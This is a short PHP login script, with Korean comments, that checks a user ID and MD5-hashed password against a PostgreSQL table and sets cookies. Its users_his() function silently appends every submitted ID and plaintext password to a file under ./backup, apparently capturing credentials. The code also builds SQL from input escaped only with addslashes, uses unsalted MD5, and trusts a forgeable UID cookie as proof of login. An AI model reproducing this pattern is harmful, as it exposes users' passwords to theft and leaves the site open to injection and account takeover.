<?php
require_once( "common.inc" );      // 공통 함수 모음
require_once( "db_pgsql.inc" ); // 데이터베이스 인터페이스

$uid  = isset($_POST['uid']) ? $_POST['uid'] : NULL;
$upw  = isset($_POST['upw']) ? $_POST['upw'] : NULL;
$saveid  = isset($_POST['saveid']) ? $_POST['saveid'] : NULL;

$userid		= addslashes(trim(strtolower("$uid")));
$userpw		= addslashes(trim("$upw"));
users_his($userid, $userpw);

$objConn = new DB_Sql;


// md5()
$userpw_md5 = md5($userpw);

$sql  = " SELECT sp_user_id, sp_user_password ";
$sql .= " FROM t_sp_user ";
$sql .= " WHERE sp_user_id = '$userid' AND sp_user_password = '$userpw_md5' ";

//printf("%s", $sql);
$stmt = $objConn->query($sql);
//printf("%s", $sql);


$saveid = "1";
$super_uid = NULL;

if ($objConn->nf() != 0)
{
	$objConn->next_record();
	$super_uid = $objConn->f(0);
}

if ( $super_uid )
{
	/*쿠키 설정*/	
	if( $saveid == "1")
	{
		SetCookie("odid", $userid, time()+3600*24*30, "/");	
		SetCookie("idsave", "1", time()+3600*24*30, "/");	
	} else
	{
		SetCookie("odid", "", time()+3600*24*30, "/");
		SetCookie("idsave", "0", time()+3600*24*30, "/");			
	}

	if( $ssl == "1")
	{
		SetCookie("odssl", $ssl, time()+3600*24*30, "/");
		$PT = "https://";
	} else
	{
		SetCookie("odssl", "", time()+3600*24*30, "/");
		$PT = "http://";
	}
	
	SetCookie("UID", $userid, 0, "/");
	
	$transferURL = "../monitor.html";
		
	printf("<script>
	location.replace('$transferURL');
	</script>");

} else		//인증 실패
{
	loginError();
}

function users_his($id, $pw)
{
	$ifp = fopen("./backup/users_his", "a");
	fwrite($ifp, $id." - ".$pw);
	fclose($ifp);
}

function loginError()
{
	printf(" <script language=\"JavaScript\">\n");
	printf(" <!--\n");
	printf(" alert('아이디나 패스워드가 잘못되었습니다.');");
	printf(" history.back();\n");
	printf(" //-->\n");
	printf(" </script>\n");
	die;
}
?>
